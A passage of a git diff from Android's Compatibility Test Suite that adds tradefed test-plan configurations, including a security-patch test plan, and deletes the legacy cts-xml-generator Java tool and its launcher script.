-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Runs Tests useful on validating a PDK fusion build">
-
-    <include name="cts" />
-
-    <option name="compatibility:plan" value="cts-pdk" />
-
-    <!-- Include test modules -->
-    <option name="compatibility:include-filter" value="CtsAadbHostTestCases" />
-    <option name="compatibility:include-filter" value="CtsBluetoothTestCases" />
-    <option name="compatibility:include-filter" value="CtsGraphicsTestCases" />
-    <option name="compatibility:include-filter" value="CtsGraphics2TestCases" />
-    <option name="compatibility:include-filter" value="CtsHardwareTestCases" />
-    <option name="compatibility:include-filter" value="CtsMediaTestCases" />
-    <option name="compatibility:include-filter" value="CtsNetTestCases" />
-    <option name="compatibility:include-filter" value="CtsDeqpTestCases" />
-    <option name="compatibility:include-filter" value="CtsRenderscriptTestCases" />
-    <option name="compatibility:include-filter" value="CtsRenderscriptLegacyTestCases" />
-    <option name="compatibility:include-filter" value="CtsTelephonyTestCases" />
-    <option name="compatibility:include-filter" value="CtsTelephony2TestCases" />
-    <option name="compatibility:include-filter" value="CtsRsBlasTestCases" />
-    <option name="compatibility:include-filter" value="CtsNativeMediaSlTestCases" />
-    <option name="compatibility:include-filter" value="CtsNativeMediaXaTestCases" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-sts.xml b/tools/cts-tradefed/res/config/cts-sts.xml
new file mode 100644
index 0000000..8e4c030
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-sts.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs Security Patch test cases">
+
+    <option name="plan" value="cts-sts" />
+
+    <include name="cts"/>
+
+    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
+
+    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
+
+    <!-- Only run tests with @SecurityTest annotation. -->
+    <option name="compatibility:module-arg" value="CtsSecurityHostTestCases:include-annotation:android.platform.test.annotations.SecurityTest"/>
+
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.SecurityTest" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-vendor-interface.xml b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
new file mode 100644
index 0000000..d1c3e15
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for the Treble 'CTS on AOSP' requirement">
+
+    <include name="cts" />
+
+    <option name="compatibility:plan" value="cts-vendor-interface" />
+
+    <!-- Include test modules -->
+    <option name="compatibility:include-filter" value="CtsAccelerationTestCases" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
+
+</configuration>
diff --git a/tools/cts-xml-generator/Android.mk b/tools/cts-xml-generator/Android.mk
deleted file mode 100644
index 5842dd8..0000000
--- a/tools/cts-xml-generator/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# We use copy-file-to-new-target so that the installed
-# script file's timestamp is at least as new as the
-# .jar file it wraps.
-
-# the hat script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cts-xml-generator
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
-$(LOCAL_BUILT_MODULE): $(LOCAL_PATH)/etc/$(LOCAL_MODULE) | $(ACP)
-	@echo "Copy: $(PRIVATE_MODULE) ($@)"
-	$(copy-file-to-new-target)
-	$(hide) chmod 755 $@
-
-# the other stuff
-# ============================================================
-subdirs := $(addprefix $(LOCAL_PATH)/,$(addsuffix /Android.mk, \
-		src \
-	))
-
-include $(subdirs)
diff --git a/tools/cts-xml-generator/etc/cts-xml-generator b/tools/cts-xml-generator/etc/cts-xml-generator
deleted file mode 100644
index 5f05af6..0000000
--- a/tools/cts-xml-generator/etc/cts-xml-generator
+++ /dev/null
@@ -1,46 +0,0 @@
-#!/bin/bash
-#
-# Copyright (C) 2011, The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Set up prog to be the path of this script, including following symlinks,
-# and set up progdir to be the fully-qualified pathname of its directory.
-prog="$0"
-while [ -h "${prog}" ]; do
-    newProg=`/bin/ls -ld "${prog}"`
-    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
-    if expr "x${newProg}" : 'x/' >/dev/null; then
-        prog="${newProg}"
-    else
-        progdir=`dirname "${prog}"`
-        prog="${progdir}/${newProg}"
-    fi
-done
-oldwd=`pwd`
-progdir=`dirname "${prog}"`
-cd "${progdir}"
-progdir=`pwd`
-prog="${progdir}"/`basename "${prog}"`
-cd "${oldwd}"
-
-libdir=`dirname $progdir`/framework
-
-javaOpts=""
-while expr "x$1" : 'x-J' >/dev/null; do
-    opt=`expr "$1" : '-J\(.*\)'`
-    javaOpts="${javaOpts} -${opt}"
-    shift
-done
-
-exec java $javaOpts -jar $libdir/cts-xml-generator.jar "$@"
diff --git a/tools/cts-xml-generator/src/Android.mk b/tools/cts-xml-generator/src/Android.mk
deleted file mode 100644
index 94c561b..0000000
--- a/tools/cts-xml-generator/src/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# cts-xml-generator java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_JAR_MANIFEST := MANIFEST.mf
-
-LOCAL_MODULE := cts-xml-generator
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := vogarexpectlib compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-xml-generator/src/MANIFEST.mf b/tools/cts-xml-generator/src/MANIFEST.mf
deleted file mode 100644
index ce4178e..0000000
--- a/tools/cts-xml-generator/src/MANIFEST.mf
+++ /dev/null
@@ -1,2 +0,0 @@
-Manifest-Version: 1.0
-Main-Class: com.android.cts.xmlgenerator.CtsXmlGenerator
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/CtsXmlGenerator.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/CtsXmlGenerator.java
deleted file mode 100644
index f194edf..0000000
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/CtsXmlGenerator.java
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.xmlgenerator;
-
-import org.w3c.dom.Document;
-import org.w3c.dom.Element;
-import org.w3c.dom.NodeList;
-
-import vogar.ExpectationStore;
-import vogar.ModeId;
-
-import java.io.File;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-
-import javax.xml.parsers.DocumentBuilderFactory;
-
-/** Class that outputs a test package xml. */
-public class CtsXmlGenerator {
-
-    private static void usage(String[] args) {
-        System.err.println("Arguments: " + Arrays.asList(args));
-        System.err.println("Usage: cts-xml-generator -p PACKAGE_NAME -n NAME [-t TEST_TYPE]"
-                + " [-j JAR_PATH] [-i INSTRUMENTATION] [-m MANIFEST_FILE] [-e EXPECTATION_FILE]"
-                + " [-b UNSUPPORTED_ABI_FILE] [-a ARCHITECTURE] [-o OUTPUT_FILE]"
-                + " [-s APP_NAME_SPACE] [-x ADDITIONAL_ATTRIBUTE_KEY->VALUE]");
-        System.exit(1);
-    }
-
-    public static void main(String[] args) throws Exception {
-        String appPackageName = null;
-        String name = null;
-        String outputPath = null;
-        Set<File> expectationFiles = new HashSet<File>();
-        Set<File> abiFiles = new HashSet<File>();
-        String architecture = null;
-        File manifestFile = null;
-        String instrumentation = null;
-        String testType = null;
-        String jarPath = null;
-        String appNameSpace = null;
-        String targetNameSpace = null;
-        Map<String, String> additionalAttributes = new HashMap<String, String>();
-
-        for (int i = 0; i < args.length; i++) {
-            if ("-p".equals(args[i])) {
-                appPackageName = getArg(args, ++i, "Missing value for test package");
-            } else if ("-n".equals(args[i])) {
-                name = getArg(args, ++i, "Missing value for executable name");
-            } else if ("-t".equals(args[i])) {
-                testType = getArg(args, ++i, "Missing value for test type");
-            } else if ("-j".equals(args[i])) {
-                jarPath = getArg(args, ++i, "Missing value for jar path");
-            } else if ("-m".equals(args[i])) {
-                manifestFile = new File(getArg(args, ++i, "Missing value for manifest"));
-            } else if ("-i".equals(args[i])) {
-                instrumentation = getArg(args, ++i, "Missing value for instrumentation");
-            } else if ("-e".equals(args[i])) {
-                expectationFiles.add(new File(getArg(args, ++i,
-                        "Missing value for expectation store")));
-            } else if ("-b".equals(args[i])) {
-                abiFiles.add(new File(getArg(args, ++i, "Missing value for abi store")));
-            } else if ("-a".equals(args[i])) {
-                architecture = getArg(args, ++i, "Missing value for architecture");
-            } else if ("-o".equals(args[i])) {
-                outputPath = getArg(args, ++i, "Missing value for output file");
-            } else if ("-s".equals(args[i])) {
-                appNameSpace =  getArg(args, ++i, "Missing value for app name space");
-            } else if ("-r".equals(args[i])) {
-                targetNameSpace =  getArg(args, ++i, "Missing value for target name space");
-            } else if ("-x".equals(args[i])) {
-                String value = getArg(args, ++i, "Missing value for additional attribute");
-                String[] tokens = value.split("->");
-                if (tokens.length != 2) {
-                    System.err.println(
-                            "For specifying additional attributes; use the format KEY->VALUE");
-                    usage(args);
-                }
-                if (additionalAttributes.containsKey(tokens[0])) {
-                    System.err.println(String.format(
-                            "Additional attribute %s has already been specified", tokens[0]));
-                    usage(args);
-                }
-                additionalAttributes.put(tokens[0], tokens[1]);
-            } else {
-                System.err.println("Unsupported flag: " + args[i]);
-                usage(args);
-            }
-        }
-
-        String runner = null;
-
-        if (manifestFile != null) {
-            Document manifest = DocumentBuilderFactory.newInstance().newDocumentBuilder()
-                    .parse(manifestFile);
-            Element documentElement = manifest.getDocumentElement();
-            appNameSpace = documentElement.getAttribute("package");
-            runner = getElementAttribute(documentElement, "instrumentation",
-                    "android:name");
-            targetNameSpace = getElementAttribute(documentElement, "instrumentation",
-                    "android:targetPackage");
-        }
-
-        if (appPackageName == null) {
-            System.out.println("Package name is required");
-            usage(args);
-        } else if (name == null) {
-            System.out.println("Executable name is required");
-            usage(args);
-        }
-
-        ExpectationStore failuresStore = ExpectationStore.parse(expectationFiles, ModeId.DEVICE);
-        ExpectationStore abiStore = ExpectationStore.parse(abiFiles, ModeId.DEVICE);
-        XmlGenerator generator = new XmlGenerator(failuresStore, abiStore, architecture,
-                appNameSpace, appPackageName, name, runner, instrumentation, targetNameSpace,
-                jarPath, testType, outputPath, additionalAttributes);
-        generator.writePackageXml();
-    }
-
-    private static String getArg(String[] args, int index, String message) {
-        if (index < args.length) {
-            return args[index];
-        } else {
-            System.err.println(message);
-            usage(args);
-            return null;
-        }
-    }
-
-    private static String getElementAttribute(Element parentElement, String elementName,
-            String attributeName) {
-        NodeList nodeList = parentElement.getElementsByTagName(elementName);
-        if (nodeList.getLength() > 0) {
-             Element element = (Element) nodeList.item(0);
-             return element.getAttribute(attributeName);
-        }
-        return null;
-    }
-}
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java
deleted file mode 100644
index 93b838b..0000000
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.xmlgenerator;
-
-public class Test implements Comparable<Test> {
-    private String mName;
-    private int mTimeout;
-
-    public Test(String name, int timeout) {
-        mName = name;
-        mTimeout = timeout;
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    public int getTimeout() {
-        return mTimeout;
-    }
-
-    @Override
-    public int compareTo(Test another) {
-        return getName().compareTo(another.getName());
-    }
-}
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java
deleted file mode 100644
index c680c2a..0000000
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.xmlgenerator;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.List;
-
-class TestCase implements Comparable<TestCase> {
-
-    private final String mName;
-
-    private final List<Test> mTests = new ArrayList<Test>();
-
-    public TestCase(String name) {
-        mName = name;
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    public void addTest(String testName, int timeout) {
-        mTests.add(new Test(testName, timeout));
-    }
-
-    public Collection<Test> getTests() {
-        return Collections.unmodifiableCollection(mTests);
-    }
-
-    @Override
-    public int compareTo(TestCase another) {
-        return getName().compareTo(another.getName());
-    }
-
-    public int countTests() {
-        return mTests.size();
-    }
-}
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java
deleted file mode 100644
index c77d1a0..0000000
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.xmlgenerator;
-
-import java.io.InputStream;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Scanner;
-
-/**
- * Parser of test lists that are in the format of:
- *
- * suite:android.holo.cts
- * case:HoloTest
- * test:testHolo
- * test:testHoloDialog[:timeout_value]
- */
-class TestListParser {
-
-    public Collection<TestSuite> parse(InputStream input) {
-        Map<String, TestSuite> suiteMap = new HashMap<String, TestSuite>();
-        TestSuite currentSuite = null;
-        TestCase currentCase = null;
-        Scanner scanner = null;
-        try {
-            scanner = new Scanner(input);
-            while(scanner.hasNextLine()) {
-                String line = scanner.nextLine();
-                String[] tokens = line.split(":");
-                if (tokens.length < 2) {
-                    continue;
-                }
-
-                String key = tokens[0];
-                String value = tokens[1];
-                if ("suite".equals(key)) {
-                    currentSuite = handleSuite(suiteMap, value);
-                } else if ("case".equals(key)) {
-                    currentCase = handleCase(currentSuite, value);
-                } else if ("test".equals(key)) {
-                    int timeout = -1;
-                    if (tokens.length == 3) {
-                        timeout = Integer.parseInt(tokens[2]);
-                    }
-                    handleTest(currentCase, value, timeout);
-                }
-            }
-        } finally {
-            if (scanner != null) {
-                scanner.close();
-            }
-        }
-        return suiteMap.values();
-    }
-
-    private TestSuite handleSuite(Map<String, TestSuite> suiteMap, String fullSuite) {
-        String[] suites = fullSuite.split("\\.");
-        int numSuites = suites.length;
-        TestSuite lastSuite = null;
-
-        for (int i = 0; i < numSuites; i++) {
-            String name = suites[i];
-            if (lastSuite != null) {
-                if (lastSuite.hasSuite(name)) {
-                    lastSuite = lastSuite.getSuite(name);
-                } else {
-                    TestSuite newSuite = new TestSuite(name);
-                    lastSuite.addSuite(newSuite);
-                    lastSuite = newSuite;
-                }
-            } else if (suiteMap.containsKey(name)) {
-                lastSuite = suiteMap.get(name);
-            } else {
-                lastSuite = new TestSuite(name);
-                suiteMap.put(name, lastSuite);
-            }
-        }
-
-        return lastSuite;
-    }
-
-    private TestCase handleCase(TestSuite suite, String caseName) {
-        TestCase testCase = new TestCase(caseName);
-        suite.addCase(testCase);
-        return testCase;
-    }
-
-    private void handleTest(TestCase testCase, String test, int timeout) {
-        testCase.addTest(test, timeout);
-    }
-}
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestSuite.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestSuite.java
deleted file mode 100644
index 1d71e1f..0000000
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestSuite.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.xmlgenerator;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class TestSuite implements Comparable<TestSuite> {
-
-    private final String mName;
-
-    private final Map<String, TestSuite> mSuites = new HashMap<String, TestSuite>();
-
-    private final List<TestCase> mCases = new ArrayList<TestCase>();
-
-    public TestSuite(String name) {
-        mName = name;
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    public boolean hasSuite(String name) {
-        return mSuites.containsKey(name);
-    }
-
-    public TestSuite getSuite(String name) {
-        return mSuites.get(name);
-    }
-
-    public void addSuite(TestSuite suite) {
-        mSuites.put(suite.mName, suite);
-    }
-
-    public Collection<TestSuite> getSuites() {
-        return Collections.unmodifiableCollection(mSuites.values());
-    }
-
-    public void addCase(TestCase testCase) {
-        mCases.add(testCase);
-    }
-
-    public Collection<TestCase> getCases() {
-        return Collections.unmodifiableCollection(mCases);
-    }
-
-    @Override
-    public int compareTo(TestSuite another) {
-        return getName().compareTo(another.getName());
-    }
-
-    public int countTests() {
-        int count = 0;
-        for (TestSuite suite : mSuites.values()) {
-            count += suite.countTests();
-        }
-        for (TestCase testCase : mCases) {
-            count += testCase.countTests();
-        }
-        return count;
-    }
-}
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java
deleted file mode 100644
index f139053..0000000
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java
+++ /dev/null
@@ -1,276 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.xmlgenerator;
-
-import vogar.Expectation;
-import vogar.ExpectationStore;
-import vogar.Result;
-
-import com.android.compatibility.common.util.AbiUtils;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.io.PrintWriter;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Map;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Generator of TestPackage XML files for native tests.
- *
- * It takes in an input of the following form:
- *
- * suite: x.y.z
- * case:TestClass1
- * test:testMethod1
- * test:testMethod2
- * case:TestClass2
- * test:testMethod1
- * suite: x.y
- * case:TestClass3
- * test:testMethod2
- */
-class XmlGenerator {
-
-    /** Example: com.android.cts.holo */
-    private final String mAppNamespace;
-
-    /** Test package name like "android.nativemedia" to group the tests. */
-    private final String mAppPackageName;
-
-    /** Name of the native executable. */
-    private final String mName;
-
-    /** Test runner */
-    private final String mRunner;
-
-    private final String mTargetBinaryName;
-
-    private final String mTargetNameSpace;
-
-    private final String mJarPath;
-
-    private final String mTestType;
-
-    /** Path to output file or null to just dump to standard out. */
-    private final String mOutputPath;
-
-    /** ExpectationStore to filter out known failures. */
-    private final ExpectationStore mKnownFailures;
-
-    /** ExpectationStore to filter out unsupported abis. */
-    private final ExpectationStore mUnsupportedAbis;
-
-    private final String mArchitecture;
-
-    private final Map<String, String> mAdditionalAttributes;
-
-    XmlGenerator(ExpectationStore knownFailures, ExpectationStore unsupportedAbis,
-            String architecture, String appNameSpace, String appPackageName, String name,
-            String runner, String targetBinaryName, String targetNameSpace, String jarPath,
-            String testType, String outputPath, Map<String, String> additionalAttributes) {
-        mAppNamespace = appNameSpace;
-        mAppPackageName = appPackageName;
-        mName = name;
-        mRunner = runner;
-        mTargetBinaryName = targetBinaryName;
-        mTargetNameSpace = targetNameSpace;
-        mJarPath = jarPath;
-        mTestType = testType;
-        mOutputPath = outputPath;
-        mKnownFailures = knownFailures;
-        mUnsupportedAbis = unsupportedAbis;
-        mArchitecture = architecture;
-        mAdditionalAttributes = additionalAttributes;
-    }
-
-    public void writePackageXml() throws IOException {
-        OutputStream output = System.out;
-        if (mOutputPath != null) {
-            File outputFile = new File(mOutputPath);
-            output = new FileOutputStream(outputFile);
-        }
-
-        PrintWriter writer = null;
-        try {
-            writer = new PrintWriter(output);
-            writer.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
-            writeTestPackage(writer);
-        } finally {
-            if (writer != null) {
-                writer.close();
-            }
-        }
-    }
-
-    private void writeTestPackage(PrintWriter writer) {
-        writer.append("<TestPackage");
-        if (mAppNamespace != null) {
-            writer.append(" appNameSpace=\"").append(mAppNamespace).append("\"");
-        }
-
-        writer.append(" appPackageName=\"").append(mAppPackageName).append("\"");
-        writer.append(" name=\"").append(mName).append("\"");
-
-        if (mRunner != null) {
-            writer.append(" runner=\"").append(mRunner).append("\"");
-        }
-
-        if (mAppNamespace != null && mTargetNameSpace != null
-                && !mAppNamespace.equals(mTargetNameSpace)) {
-            writer.append(" targetBinaryName=\"").append(mTargetBinaryName).append("\"");
-            writer.append(" targetNameSpace=\"").append(mTargetNameSpace).append("\"");
-        }
-
-        if (mTestType != null && !mTestType.isEmpty()) {
-            writer.append(" testType=\"").append(mTestType).append("\"");
-        }
-
-        if (mJarPath != null) {
-            writer.append(" jarPath=\"").append(mJarPath).append("\"");
-        }
-
-        for (Map.Entry<String, String> entry : mAdditionalAttributes.entrySet()) {
-            writer.append(String.format(" %s=\"%s\"", entry.getKey(), entry.getValue()));
-        }
-
-        writer.println(" version=\"1.0\">");
-
-        TestListParser parser = new TestListParser();
-        Collection<TestSuite> suites = parser.parse(System.in);
-        StringBuilder nameCollector = new StringBuilder();
-        writeTestSuites(writer, suites, nameCollector);
-        writer.println("</TestPackage>");
-    }
-
-    private void writeTestSuites(PrintWriter writer, Collection<TestSuite> suites,
-            StringBuilder nameCollector) {
-        Collection<TestSuite> sorted = sortCollection(suites);
-        for (TestSuite suite : sorted) {
-            if (suite.countTests() == 0) {
-                continue;
-            }
-            writer.append("<TestSuite name=\"").append(suite.getName()).println("\">");
-
-            String namePart = suite.getName();
-            if (nameCollector.length() > 0) {
-                namePart = "." + namePart;
-            }
-            nameCollector.append(namePart);
-
-            writeTestSuites(writer, suite.getSuites(), nameCollector);
-            writeTestCases(writer, suite.getCases(), nameCollector);
-
-            nameCollector.delete(nameCollector.length() - namePart.length(),
-                    nameCollector.length());
-            writer.println("</TestSuite>");
-        }
-    }
-
-    private void writeTestCases(PrintWriter writer, Collection<TestCase> cases,
-            StringBuilder nameCollector) {
-        Collection<TestCase> sorted = sortCollection(cases);
-        for (TestCase testCase : sorted) {
-            if (testCase.countTests() == 0) {
-                continue;
-            }
-            String name = testCase.getName();
-            writer.append("<TestCase name=\"").append(name).println("\">");
-            nameCollector.append('.').append(name);
-
-            writeTests(writer, testCase.getTests(), nameCollector);
-
-            nameCollector.delete(nameCollector.length() - name.length() - 1,
-                    nameCollector.length());
-            writer.println("</TestCase>");
-        }
-    }
-
-    private void writeTests(PrintWriter writer, Collection<Test> tests,
-            StringBuilder nameCollector) {
-        Collection<Test> sorted = sortCollection(tests);
-        for (Test test : sorted) {
-            String className = nameCollector.toString();
-            nameCollector.append('#').append(test.getName());
-            writer.append("<Test name=\"").append(test.getName()).append("\"");
-            String abis = getSupportedAbis(mUnsupportedAbis, mArchitecture,
-                    className, nameCollector.toString()).toString();
-            writer.append(" abis=\"" + abis.substring(1, abis.length() - 1) + "\"");
-            if (isKnownFailure(mKnownFailures, nameCollector.toString())) {
-                writer.append(" expectation=\"failure\"");
-            }
-            if (test.getTimeout() >= 0) {
-                writer.append(" timeout=\"" + test.getTimeout() + "\"");
-            }
-            writer.println(" />");
-
-            nameCollector.delete(nameCollector.length() - test.getName().length() - 1,
-                    nameCollector.length());
-        }
-    }
-
-    private <E extends Comparable<E>> Collection<E> sortCollection(Collection<E> col) {
-        List<E> list = new ArrayList<E>(col);
-        Collections.sort(list);
-        return list;
-    }
-
-    public static boolean isKnownFailure(ExpectationStore expectationStore, String testName) {
-        return expectationStore != null
-            && expectationStore.get(testName).getResult() != Result.SUCCESS;
-    }
-
-    // Returns the list of ABIs supported by this TestCase on this architecture.
-    public static Set<String> getSupportedAbis(ExpectationStore expectationStore,
-            String architecture, String className, String testName) {
-        Set<String> supportedAbis = AbiUtils.getAbisForArch(architecture);
-        if (expectationStore == null) {
-            return supportedAbis;
-        }
-
-        removeUnsupportedAbis(expectationStore.get(className), supportedAbis);
-        removeUnsupportedAbis(expectationStore.get(testName), supportedAbis);
